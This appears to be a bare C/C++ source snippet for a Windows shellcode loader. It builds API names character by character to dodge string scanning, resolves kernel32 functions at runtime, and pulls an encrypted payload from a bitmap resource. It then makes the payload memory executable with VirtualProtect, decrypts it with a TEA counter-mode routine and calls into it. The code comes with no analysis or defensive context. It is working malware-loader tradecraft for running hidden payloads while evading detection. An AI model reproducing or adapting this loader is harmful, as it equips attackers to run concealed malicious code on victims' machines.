1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
| typedef HMODULE(WINAPI* LoadLibraryA_t)(
LPCSTR lpLibFileName
);
typedef FARPROC(WINAPI* GetProcAddress_t)(
HMODULE hModule,
LPCSTR lpProcName
);
typedef int(WINAPI* MessageBoxA_t)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
typedef HMODULE(WINAPI* GetModuleHandleA_t)(
LPCSTR lpModuleName
);
typedef HRSRC(WINAPI* FindResourceA_t)(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
typedef HGLOBAL(WINAPI* LoadResource_t)(
HMODULE hModule,
HRSRC hResInfo
);
typedef LPVOID(WINAPI* LockResource_t)(
HGLOBAL hResData
);
typedef BOOL(WINAPI* VirtualProtect_t)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
static void mytea(uint8_t* data, size_t size, uint8_t key[16]);
struct payload_header
{
uint8_t key[16];
uint32_t size;
};
void shellcode() {
const volatile char GetModuleHandleA_s[] = { 'G','e','t','M','o','d','u','l','e','H','a','n','d','l','e','A',0 };
const char FindResourceA_s[] = { 'F','i','n','d','R','e','s','o','u','r','c','e','A',0 };
const char LoadResource_s[] = { 'L','o','a','d','R','e','s','o','u','r','c','e',0 };
const char LockResource_s[] = { 'L','o','c','k','R','e','s','o','u','r','c','e',0 };
const char MyResource_s[] = { 'M','y','R','e','s','o','u','r','c','e',0 };
const char VirtualProtect_s[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };
GetModuleHandleA_t MyGetModuleHandleA = (GetModuleHandleA_t)GetK32Proc((const char*)GetModuleHandleA_s);
FindResourceA_t MyFindResourceA = (FindResourceA_t)GetK32Proc(FindResourceA_s);
LoadResource_t MyLoadResource = (LoadResource_t)GetK32Proc(LoadResource_s);
LockResource_t MyLockResource = (LockResource_t)GetK32Proc(LockResource_s);
VirtualProtect_t MyVirtualProtect = (VirtualProtect_t)GetK32Proc(VirtualProtect_s);
HMODULE h = MyGetModuleHandleA(0);
HRSRC r = MyFindResourceA(h, MyResource_s, MAKEINTRESOURCEA(RT_BITMAP));
if (!r)return;
HGLOBAL rc = MyLoadResource(h, r);
if (!rc)return;
BYTE* data = (BYTE*)MyLockResource(rc);
if (!data)return;
payload_header* header = (payload_header*)data;
DWORD old;
if (!MyVirtualProtect(data, header->size + sizeof payload_header, PAGE_EXECUTE_READWRITE, &old))return;
mytea(data + sizeof payload_header, header->size, header->key);
((void(*)())(void*)(data + sizeof payload_header))();
}
static uint64_t tea_encrypt(uint64_t v, uint32_t* k) {
uint32_t v0 = ((uint32_t*)&v)[0], v1 = ((uint32_t*)&v)[1], sum = 0;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (int i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
uint64_t result = 0;
((uint32_t*)&result)[0] = v0;
((uint32_t*)&result)[1] = v1;
return result;
}
static void mytea(uint8_t* data, size_t size, uint8_t key[16]) {
uint64_t counter = *(uint64_t*)key;
for (size_t offset = 0; offset < size; offset += 8, ++counter) {
size_t remaining = size - offset;
if (remaining >= 8) {
(*(uint64_t*)(data + offset)) ^= tea_encrypt(counter, (uint32_t*)key);
}
else {
uint8_t temp[8]{};
for (int i = 0; i < remaining; ++i)temp[i] = (data + offset)[i];
(*(uint64_t*)temp) ^= tea_encrypt(counter, (uint32_t*)key);
for (int i = 0; i < remaining; ++i)(data + offset)[i] = temp[i];
}
}
}
|
